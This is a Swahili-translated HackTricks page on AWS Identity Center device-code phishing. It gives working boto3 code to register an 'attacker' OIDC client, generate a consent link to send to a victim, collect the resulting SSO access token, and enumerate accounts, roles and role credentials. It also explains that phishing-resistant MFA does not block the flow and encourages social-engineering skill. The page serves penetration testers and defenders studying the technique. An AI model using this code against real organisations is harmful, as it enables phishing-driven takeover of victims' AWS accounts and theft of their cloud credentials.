AWS - Identity Center & SSO Unauthenticated Enum

Support HackTricks

AWS Device Code Phishing

Awali ilipendekezwa katika blog post hii, inawezekana kutuma kiungo kwa mtumiaji anayetumia AWS SSO kwamba ikiwa mtumiaji atakubali mshambuliaji ataweza kupata token ya kujifanya mtumiaji na kupata majukumu yote ambayo mtumiaji anaweza kufikia katika Identity Center.

Ili kufanya shambulio hili mahitaji ni:

  • Mhasiriwa anahitaji kutumia Identity Center

  • Mshambuliaji lazima ajue subdomain inayotumiwa na mhasiriwa <victimsub>.awsapps.com/start

Kwa kutumia tu taarifa za awali, mshambuliaji ataweza kutuma kiungo kwa mtumiaji kwamba ikiwa kikubaliwa kitampa mshambuliaji ufikiaji wa akaunti ya mtumiaji wa AWS.

Shambulio

  1. Kupata subdomain

Hatua ya kwanza ya mshambuliaji ni kujua subdomain ambayo kampuni ya mhasiriwa inatumia katika Identity Center yao. Hii inaweza kufanywa kupitia OSINT au kubashiri + BF kwani kampuni nyingi zitakuwa zinatumia jina lao au mabadiliko ya jina lao hapa.

Kwa taarifa hii, inawezekana kupata eneo ambapo Identity Center iliwekwa:

curl https://victim.awsapps.com/start/ -s | grep -Eo '"region":"[a-z0-9\-]+"'
"region":"us-east-1
  1. Tengeneza kiungo kwa ajili ya mwathirika & Tuma

Endesha msimbo ufuatao ili kutengeneza kiungo cha kuingia AWS SSO ili mwathirika aweze kuthibitisha. Kwa demo, endesha msimbo huu kwenye console ya python na usitoke kwani baadaye utahitaji baadhi ya vitu kupata token:

import boto3

REGION = 'us-east-1' # CHANGE THIS
AWS_SSO_START_URL = 'https://victim.awsapps.com/start' # CHANGE THIS

sso_oidc = boto3.client('sso-oidc', region_name=REGION)
client = sso_oidc.register_client(
clientName = 'attacker',
clientType = 'public'
)

client_id = client.get('clientId')
client_secret = client.get('clientSecret')
authz = sso_oidc.start_device_authorization(
clientId=client_id,
clientSecret=client_secret,
startUrl=AWS_SSO_START_URL
)

url = authz.get('verificationUriComplete')
deviceCode = authz.get('deviceCode')
print("Give this URL to the victim: " + url)

Tuma kiungo kilichotengenezwa kwa mwathirika ukitumia ujuzi wako mzuri wa uhandisi wa kijamii!

  1. Subiri hadi mwathirika akubali

Ikiwa mwathirika alikuwa tayari ameingia kwenye AWS atahitaji tu kukubali kutoa ruhusa, ikiwa hakuwa ameingia, atahitaji kuingia kisha kukubali kutoa ruhusa. Hivi ndivyo dirisha la ruhusa linavyoonekana siku hizi:

  1. Pata token ya SSO ya ufikiaji

Ikiwa mwathirika alikubali dirisha la ruhusa, endesha msimbo huu ili kuzalisha token ya SSO kwa kujifanya mtumiaji:

token_response = sso_oidc.create_token(
clientId=client_id,
clientSecret=client_secret,
grantType="urn:ietf:params:oauth:grant-type:device_code",
deviceCode=deviceCode
)
sso_token = token_response.get('accessToken')

The SSO access token ni halali kwa masaa 8.

  1. Jifanya kuwa mtumiaji

sso_client = boto3.client('sso', region_name=REGION)

# List accounts where the user has access
aws_accounts_response = sso_client.list_accounts(
accessToken=sso_token,
maxResults=100
)
aws_accounts_response.get('accountList', [])

# Get roles inside an account
roles_response = sso_client.list_account_roles(
accessToken=sso_token,
accountId=<account_id>
)
roles_response.get('roleList', [])

# Get credentials over a role

sts_creds = sso_client.get_role_credentials(
accessToken=sso_token,
roleName=<role_name>,
accountId=<account_id>
)
sts_creds.get('roleCredentials')

Udukuzi wa MFA isiyoweza Kudukuliwa

Inafurahisha kujua kuwa shambulio la awali linafanya kazi hata kama "MFA isiyoweza kudukuliwa" (webAuth) inatumika. Hii ni kwa sababu mchakato wa awali hauachi domain ya OAuth inayotumika. Tofauti na mashambulio mengine ya udukuzi ambapo mtumiaji anahitaji kubadilisha domain ya kuingia, katika kesi hii mchakato wa kifaa umeandaliwa ili kifaa kijue msimbo na mtumiaji anaweza kuingia hata kwenye mashine tofauti. Ikiwa ombi limekubaliwa, kifaa, kwa kujua msimbo wa awali, kitaweza kupata hati za mtumiaji.

Kwa maelezo zaidi kuhusu hili angalia chapisho hili.

Zana za Kiotomatiki

Marejeleo

Support HackTricks

Last updated